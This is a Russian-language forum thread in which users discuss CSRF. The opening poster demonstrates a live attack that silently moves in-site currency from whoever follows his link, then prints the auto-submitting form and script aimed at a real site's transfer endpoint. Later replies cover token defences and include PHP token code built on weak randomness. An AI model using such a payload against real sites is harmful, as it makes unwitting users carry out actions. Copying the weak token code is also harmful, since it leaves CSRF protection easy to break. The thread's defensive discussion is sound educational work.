Недооцененная CSRF уязвимость!

1. Богдан (03.12.2014 / 01:05)
Решил написать так как многие почему то не недооценивают данный вид атаки и часто забывают о нем при проектировании веб приложения.
https://ru.wikipedia.org/wiki/Межсайтовая_подделка_запроса

Добавлено через 07:34 сек.
Что бы посмотреть в действии - кликай сюда)
P.S при каждом переходе по ссылке вы перечислите мне 500 чатлов, ничего не подозревая при этом.
Принцип работы следующий: на странице ifrmae в котором заполненная нужным мне образом форма. При загрузке iframe срабатывает JS который автоматически отправляет ее на адрес не защищенного сайта.
Это лишь один пример использования. И Вместо перечисления чатлов может быть смена пароля админа, отправка реальных денег и тд.

Для выполнения атаки нужно что бы залогиненная жертва перешла по вашей ссылке.

2. ramzes (03.12.2014 / 02:06)
что у тебя в form.html?

3. Богдан (03.12.2014 / 02:08)
<form action="http://visavi.net/pages/perevod.php?act=send&amp;uz=BANDIT&amp;uid=0" method="post" id="form">
    <input type="text"name="money" value="500">
    <textarea cols="25" rows="5" name="msg">CSRF</textarea>
    <input type="submit" value="Перевести">
</form>
<script>
    document.getElementById('form').submit();
</script>


4. ramzes (03.12.2014 / 02:12)
3. G_A_N_J_A_R, гм... и этим ты мне комп в состояние зомби вогнал? 0_о

5. Богдан (03.12.2014 / 02:17)
4. странный побочный эффект)

6. ramzes (03.12.2014 / 02:48)
да, повторно без проблем прошло.
хорошо что я токены использую во всех формахsmile

7. karpov-ml (03.12.2014 / 03:34)
X-Frame-Options: DENY на сервер, если капчи нет
Хотя хз, возможно и не поможет. Не вникал сильно smile

8. Кевин Митник (03.12.2014 / 05:35)
отличная штука klass
токены - оптимальное решение всех головняков. на ВК токены везде передаются, даже где впринципе нету ничего подозрительного.

9. Константин (03.12.2014 / 06:36)
1. G_A_N_J_A_R, вот блин, а ну отдай мне 500 чатлов !! D

Добавлено через 06:20 сек.
просто оставлю это здесь
http://m.habrahabr.ru/post/235247/

10. fhgdfhdfhdf (03.12.2014 / 09:34)
9. Jahak, спасибо за статью, уже читал когда то, но было полездно прочитать её еще раз. =)

11. SL@YER (03.12.2014 / 09:49)
7. karpov-ml, Нет, не поможет. Здесь visavi не через iframe подгружает. Нужен hash при отправке важных запросов.
Ganjar - однозначно молодец)

12. SL@YER (03.12.2014 / 11:22)
Хотя... от такого вида атак X-Frame-Options: DENY всё же защитит.

13. Влад (03.12.2014 / 12:56)
Эмм, немного недопонимаю, буду благодарен если кто-нибудь разъяснит.
Хэш авторизации, который хранится в куке, можно считать токеном?
Я при авторизации юзера выдаю ему засоленный хэш из его логина+id, записываю в куку.
То, что кука априори хранится на стороне клиента, по всей своей логике, спасти ситуацию не может, т.к. вредоносу по барабану как эта авторизация у меня хранится, главное чтобы сам сайт меня опознал.
Это так?
То есть, единственное решение - гонять юзера по сайту с дополнительным $_GET['token']?
Что то в роде "http://site.com/section/21/tokenvalue" ?

14. Богдан (03.12.2014 / 13:02)
То, что кука априори хранится на стороне клиента, по всей своей логике, спасти ситуацию не может, т.к. вредоносу по барабану как эта авторизация у меня хранится, главное чтобы сам сайт меня опознал.
Это так?
верно
То есть, единственное решение - гонять юзера по сайту с дополнительным $_GET['token']?
по всему не надо. Подставлять и проверять нужно только там, где действия пользователя нужно проверять. На том же ВК хеша нет на всех страницах. В формах достаточно подставить hidden поле с хэшем.

15. Влад (03.12.2014 / 13:11)
14. G_A_N_J_A_R, понял, спасибо за информацию, раньше даже не думал об этом smile

16. ramzes (03.12.2014 / 13:16)
если кто то по глупости откроет сайт для кроссдоменного аякса, то и токены не спасутsmile

17. Влад (03.12.2014 / 13:19)
Тогда возникает еще один момент: если злоумышленник узнает этот токен у конкретного пользователя, то его(пользователя) уже ничто не спасет, если он перешел по вредоносной ссылке. Вероятность конечно ничтожно мала, но тем не менее учитывать ее стоит. И как с ней бороться разработчикам - даже представить не могу.

А на стороне сервера нельзя разве каким либо образом заблокировать запросы с посторонних сайтов?

18. ramzes (03.12.2014 / 14:00)
17. vlad6085, для каждой генерации страницы с формой создается свой токен.
даже если ты узнаешь токен из этой формы, он будет актуален только для твоей сессии с которой ты зашел на страницу с формой, у жертвы же сессия своя, и токена в ней не будет (или будет другой, если ты подсунешь ему незаметно страницу с этой формой)

19. fhgdfhdfhdf (03.12.2014 / 14:04)
17. vlad6085, Просто нужен не постоянный токин а сессионный, когда злоумышленник его получит он уже будет просрочен.

20. Влад (03.12.2014 / 14:14)
ну примерный алогритм токена - что то в таком роде, полагаю:
<?
$soil = '3#0sd7*+12G';
$token = md5(session_id().uniqid().$soil);
?>
и просрочен он будет при каждом обновлении страницы с токеном, за счет изменения uniqid()
записываем его в сессию ($_SESSION['token']), в hidden форму, после отправки формы, проверяем соответствие сессии и формы, удаляем сессию

21. ramzes (03.12.2014 / 14:19)
давно когда то делал себе.
так вот
<?php

 function token($type=true){
     $arr = array('a','b','c','d','e','f',
                      'g','h','i','j','k','l',
                      'm','n','o','p','r','s',
                      't','u','v','x','y','z',
                      'A','B','C','D','E','F',
                      'G','H','I','J','K','L',
                      'M','N','O','P','R','S',
                      'T','U','V','X','Y','Z',
                      '1','2','3','4','5','6',
                      '7','8','9','0','.',',',
                      '(',')','[',']','!','?',
                      '&','^','%','@','*','$',
                      '<','>','/','|','+','-',
                      '{','}','`','~');

     if($type==true){
         $pass = "";
         for($i = 0; $i < 12; $i++){
           $index = rand(0, count($arr) - 1);
           $pass .= $arr[$index];
         }
         $_SESSION['token'] = $pass;
         return $pass;
     }else{
         if(isset($_SESSION['token'])){
             return $_SESSION['token'];
         }else{
             return false;
         }
     }
 }


function token_input(){
    return '<input type="hidden" name="token" value="'.token(true).'" />';
}

function token_check(){
    if(token(false)!=false AND $_POST['token']==token(false)){
        unset($_SESSION['token']);
        return true;
    }else{
        unset($_SESSION['token']);
        return false;
    }
}


22. Богдан (03.12.2014 / 14:19)
20. Только писать его еще в сессию надо, что бы проверить при получении запроса. И, если в запросе есть токен - не генерить заново.

23. Влад (03.12.2014 / 14:21)
22. G_A_N_J_A_R, да да, не успел дописать - ты уже ответил smile
21. ramzes, маньяк )

24. Вантуз-мен (07.12.2014 / 01:43)
на сайте все нормально, csrf защита давно присутствует в движке, просто была выключена

URL: https://visavi.net/topics/41653